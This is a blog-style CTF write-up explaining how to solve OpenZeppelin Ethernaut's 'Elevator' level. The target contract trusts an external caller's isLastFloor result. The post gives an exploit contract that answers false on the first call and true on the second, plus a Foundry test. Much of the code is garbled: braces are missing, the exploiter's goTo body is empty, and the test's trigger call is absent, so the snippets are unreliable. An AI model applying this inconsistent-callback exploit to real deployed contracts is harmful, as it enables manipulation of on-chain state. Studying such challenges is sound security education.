Emanuele RicciEmanuele Ricci

Emanuele Ricci

4 min read

Ethernaut Challenge #11 Solution — Elevator

This is Part 11 of the "Let's play OpenZeppelin Ethernaut CTF" series, where I will explain how to solve each challenge.

The Ethernaut is a Web3/Solidity based wargame created by OpenZeppelin. Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.

Challenge #11: Elevator

This elevator won't let you reach the top of your building. Right? Things that might help:

  • Sometimes solidity is not good at keeping promises.
  • This Elevator expects to be used from a Building.

Level author: Martin Triay

The goal of this challenge is to be able to reach the top floor of the building.

Study the contracts

The code of the Challenge's Level is pretty simple, let's dump it here and study it

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);

The Elevator is a pretty simple contract.

It has two state variables:

  • bool public top a boolean variable that will state if the elevator has arrived to the top of the building. It is initialized as false by default
  • uint256 public floor an integer variable that will state to which floor the elevator has arrived. It is initialized to 0 by default

Then we have the goTo function that takes a uint256 _floor. This function is expected to be called by a smart contract that implements the Building interface.

Inside the function, it checks the Building.isLastFloor result that should state whether a floor is the top of the building or not.

If the floor is not the top of the building, the function update the floor state variable and update also the top state variable that should be false given that we entered the if state only because the same building.isLastFloor function has returned false just two lines of code above, right?

This challenge teaches two important lessons:

  • never, ever, trust an external actor as an assumption
  • better safe than sorry

The msg.sender (the Building contract) is an external actor. We only know that it must implement the Building interface, so it must:

  • have a function called isLastFloor
  • it takes a uint256 input parameter
  • it will return a bool

But in reality, apart from this information, we don't know what's inside that contract. How can we be certain that it will really return true only if the floor is the real top of the building?

My two cents suggestions would be:

  • Only integrate with external contract that have a verified source code and that you can read what they do and with which other external service they will integrate
  • If the external service is upgradable, you must really trust that the owner of the service will not act maliciously in the future
  • Even if you trust the external actor, put some safeguards in the contract like some kind of pausable and emergency logic

Solution code

The solution code is pretty simple, what we must do is to trick the Elevator to think that we have not reached the top of the building when it first calls the isLastFloor function and then return true (we have reached the top) when it calls it the second time.

Here's the code of the Building contract

contract Exploiter is Building {
    Elevator private victim;
    address private owner;
    bool private firstCall;

    constructor(Elevator _victim) public {
        owner = msg.sender;
        victim = _victim;
        firstCall = true;

    function goTo(uint256 floor) public {

    function isLastFloor(uint256) external override returns (bool) {
        // if the Elevator call us the first time return `false` to trick him
        // but return `true` if the second time to exploit it
        if (firstCall) {
            firstCall = false;
            return false;
        } else {
            return true;

And here's the code of the test itself

function exploitLevel() internal override {
    vm.startPrank(player, player);

    // deploy the contract
    Exploiter exploiter = new Exploiter(level);

    // trigger the exploit

    // assert that the elevator has reached the top of the building
    assertEq(level.top(), true);


You can read the full solution of the challenge opening Elevator.t.sol


All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

do not give any warranties and will not be liable for any loss incurred through any use of this codebase.